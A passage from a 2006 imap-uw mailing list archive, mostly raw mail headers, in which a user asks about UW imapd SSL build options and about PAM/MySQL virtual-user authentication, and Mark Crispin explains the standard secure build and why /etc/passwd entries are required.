so I am able to test in different versions of the OS. In case you're wondering, the new OS is Mac OSX 10.4.5 and the old OS is 10.2.4 -- Dale _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 20:26:36 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 20:26:36 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264QaLD032335 for ; Sun, 5 Mar 2006 20:26:36 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264QZvS019442 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:26:35 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264QVlI031696 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 20:26:31 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264QV3C004504; Sun, 5 Mar 2006 20:26:31 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264QUZ5004496 for ; Sun, 5 Mar 2006 20:26:30 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264OlC5012447 for ; Sun, 5 Mar 2006 20:26:30 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 962E37B3FDD for ; Sun, 5 Mar 2006 23:24:46 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14025-12 for ; Sun, 5 Mar 2006 23:24:46 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id F3CA67B3FD7 for ; Sun, 5 Mar 2006 23:24:45 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] build issues (RESOLVED) Date: Sun, 5 Mar 2006 23:24:45 -0500 To: imap-uw@u.washington.edu X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Sorry, I should have looked a little closer at the Makefile and read the changes to see thet the defualt was changesd to 'SSLTYPE=nopwd' Using 'SSLTYPE=none' gave me my working build but I was wondering if SSL/TLS support is still available with this build method??? Is it possible to have both methods available in a single binary??? On Mar 5, 2006, at 22:40 , BuildSmart wrote: > Im in the process of creating a new mail server, I've been trying > to build uw-imap and while I can build successfully, I'm not > getting the expected results. > > an older working install on > * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS > AUTH=LOGIN] macftphttp.serverbox.org IMAP4rev1 2003.347 at Sun, 5 > Mar 2006 22:14:17 -0500 (EST) > > current build gives: > * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS > STARTTLS LOGINDISABLED] mustangrestomods.com IMAP4rev1 2004.357 at > Sun, 5 Mar 2006 22:35:47 -0500 (EST) > > Because I'm using a newer OS version the older binaries don't work > so building is a must. > > I am able to build the binaries in newer the newer OS to be OS > backward compatible so I am able to test in different versions of > the OS. > > In case you're wondering, the new OS is Mac OSX 10.4.5 and the old > OS is 10.2.4 > > > -- Dale -- Dale _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 20:47:21 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 20:47:21 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264lKMD000987 for ; Sun, 5 Mar 2006 20:47:20 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264lK5s020337 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:47:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264lGVb021375 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 20:47:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264lFIV005974; Sun, 5 Mar 2006 20:47:15 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264lFu4005966 for ; Sun, 5 Mar 2006 20:47:15 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264l6FD026042 for ; Sun, 5 Mar 2006 20:47:14 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 18EDD7B406C for ; Sun, 5 Mar 2006 23:47:06 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14089-12 for ; Sun, 5 Mar 2006 23:47:05 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id 80EAA7B4066 for ; Sun, 5 Mar 2006 23:47:05 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: BuildSmart Date: Sun, 5 Mar 2006 23:47:04 -0500 X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] authentication never performed. X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Iit seems that /etc/passwd is checked for a valid user before authentication but since the users are be stored in MySQL they are never authenticated. I currently have pam (using pam_mysql) validating the user and then authenticating but if imapd doesn't pass anything to pam authentication always fails. If the user exists in /etc/passwd then imapd does pass to pam and authentication does occur and I have verified this by adding users and testing the authentication process. Is there a method/way to disable this check in imapd so that pam can handle the whole process? _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 20:48:46 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 20:48:46 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mkwr001016 for ; Sun, 5 Mar 2006 20:48:46 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mjD0020360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:48:45 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mfVw018186 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 20:48:41 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mf5o006205; Sun, 5 Mar 2006 20:48:41 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264meke006189 for ; Sun, 5 Mar 2006 20:48:40 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mdG0002486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 5 Mar 2006 20:48:39 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mddR002483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:48:39 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264mWRx010685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 5 Mar 2006 20:48:38 -0800 Date: Sun, 5 Mar 2006 20:48:31 -0800 (PST) From: Mark Crispin To: BuildSmart Subject: Re: [Imap-uw] build issues (RESOLVED) In-Reply-To: Message-ID: References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 5 Mar 2006, BuildSmart wrote: > Sorry, I should have looked a little closer at the Makefile and read the > changes to see thet the defualt was changesd to 'SSLTYPE=nopwd' That is the standard build, as required by RFC 3501. > Using 'SSLTYPE=none' gave me my working build but I was wondering if SSL/TLS > support is still available with this build method??? That builds without SSL entirely; which is non-complaint with RFC 3501 and VERY insecure. > Is it possible to have both methods available in a single binary??? If, by this, you mean building with SSL support, but allowing insecure logins without the use of SSL, that is done by SSLTYPE=unix. However, I recommend that you use the standard SSLTYPE=nopwd. Every client in the past several years has supported SSL and/or TLS. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 20:51:15 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 20:51:15 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264pFVG001119 for ; Sun, 5 Mar 2006 20:51:15 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264pE1A020470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:51:14 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264pAeP002833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 20:51:10 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264pAQw006530; Sun, 5 Mar 2006 20:51:10 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264p9F6006522 for ; Sun, 5 Mar 2006 20:51:09 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264p9he004081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 5 Mar 2006 20:51:09 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264p8bu018647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 20:51:08 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k264p7eA010850 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 5 Mar 2006 20:51:08 -0800 Date: Sun, 5 Mar 2006 20:51:07 -0800 (PST) From: Mark Crispin To: BuildSmart Subject: Re: [Imap-uw] authentication never performed. In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 5 Mar 2006, BuildSmart wrote: > Is there a method/way to disable this check in imapd so that pam can handle > the whole process? The short answer is "no". UW imapd users MUST have /etc/passwd entries, even if password authentication is done elsewhere. They must have unique UNIX UID numbers (access control depends upon this) and they must have defined UNIX home directories. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 21:38:26 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 21:38:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cQGP002938 for ; Sun, 5 Mar 2006 21:38:26 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cPgb026638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 21:38:25 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cLrV005137 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 21:38:21 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cLrw009927; Sun, 5 Mar 2006 21:38:21 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cJXl009919 for ; Sun, 5 Mar 2006 21:38:19 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265cIQQ003307 for ; Sun, 5 Mar 2006 21:38:19 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 201BD7B4358; Mon, 6 Mar 2006 00:38:18 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14089-17; Mon, 6 Mar 2006 00:38:17 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id 8D3ED7B4352; Mon, 6 Mar 2006 00:38:17 -0500 (EST) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] authentication never performed. Date: Mon, 6 Mar 2006 00:38:17 -0500 To: Mark Crispin X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 5, 2006, at 23:51 , Mark Crispin wrote: > On Sun, 5 Mar 2006, BuildSmart wrote: >> Is there a method/way to disable this check in imapd so that pam >> can handle the whole process? > > The short answer is "no". Accepted, explanation not required. > UW imapd users MUST have /etc/passwd entries, even if password > authentication is done elsewhere. They must have unique UNIX UID > numbers (access control depends upon this) and they must have > defined UNIX home directories. What I'm trying to achieve is true virtual users, all required authentication is currently done with mysql, what I'd like to avoid is adding 9263 users to /etc/passwd and creating 9263 homes. What occurs if they don't have home directories??? I was thinking of replacing the qpopper binary with the ipop3d from uw-imap however it doesn't appear to be a drop in replacement, is there any additional configurating required??? I couldn't find any inetd or xinetd config files and the documentation didn't tell me anything special was required for arguments or did I miss something? > -- Mark -- -- Dale _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 21:49:31 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 21:49:31 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nUmq003500 for ; Sun, 5 Mar 2006 21:49:30 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nUTi022648 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 21:49:30 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nQhY011120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 21:49:26 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nQCU010847; Sun, 5 Mar 2006 21:49:26 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nPEa010839 for ; Sun, 5 Mar 2006 21:49:25 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nOM9002486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 5 Mar 2006 21:49:24 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nOKH011110 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 21:49:24 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k265nLDG009884 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 5 Mar 2006 21:49:23 -0800 Date: Sun, 5 Mar 2006 21:49:21 -0800 (PST) From: Mark Crispin To: BuildSmart Subject: Re: [Imap-uw] authentication never performed. In-Reply-To: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> Message-ID: References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 6 Mar 2006, BuildSmart wrote: > What I'm trying to achieve is true virtual users, all required authentication > is currently done with mysql, what I'd like to avoid is adding 9263 users to > /etc/passwd and creating 9263 homes. By design, UW imapd uses UNIX users and the UNIX security model. Some other IMAP implementations (e.g., Cyrus from CMU) has its own user scheme and security model. So, Cyrus may be more suitable for your purposes. However, I don't quite understand the cost of adding 9263 users to /etc/passwd -- you have to define the users someplace. > What occurs if they don't have home directories??? IMAP has secondary (non-INBOX) mailboxes. So the lack of a home directory means this important capability of IMAP isn't usable. For that reason, I don't quite understand the cost of creating 9263 homes either -- you have to have a per-user directory for the users' non-INBOX mailboxes anyway. > I was thinking of replacing the qpopper binary with the ipop3d from uw-imap > however it doesn't appear to be a drop in replacement, is there any > additional configurating required??? No additional configuration is required. In POP3, unlike IMAP, there is only the INBOX. People have replaced qpopper with ipop3d successfully. Just remember that ipop3d works just like imapd (internally, it's the same library) so requires a UNIX userid just like imapd does. > I couldn't find any inetd or xinetd config files and the documentation didn't > tell me anything special was required for arguments or did I miss something? There isn't anything special required for arguments. Arguments are only used with the SecureWare package used on some Tru64 UNIX and SCO systems; and that is determined by SecureWare, not by imapd/ipop3d. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 22:14:16 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 22:14:15 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266EFgk004616 for ; Sun, 5 Mar 2006 22:14:15 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266EE4l023671 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 22:14:15 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266EACc000535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 22:14:11 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266EAp7012437; Sun, 5 Mar 2006 22:14:10 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266E9SK012429 for ; Sun, 5 Mar 2006 22:14:09 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k266Dht3008305 for ; Sun, 5 Mar 2006 22:14:09 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id A17477B445E; Mon, 6 Mar 2006 01:13:42 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14025-20; Mon, 6 Mar 2006 01:13:42 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id F1BB97B4458; Mon, 6 Mar 2006 01:13:41 -0500 (EST) In-Reply-To: References: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] build issues (RESOLVED) Date: Mon, 6 Mar 2006 01:13:41 -0500 To: Mark Crispin X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu 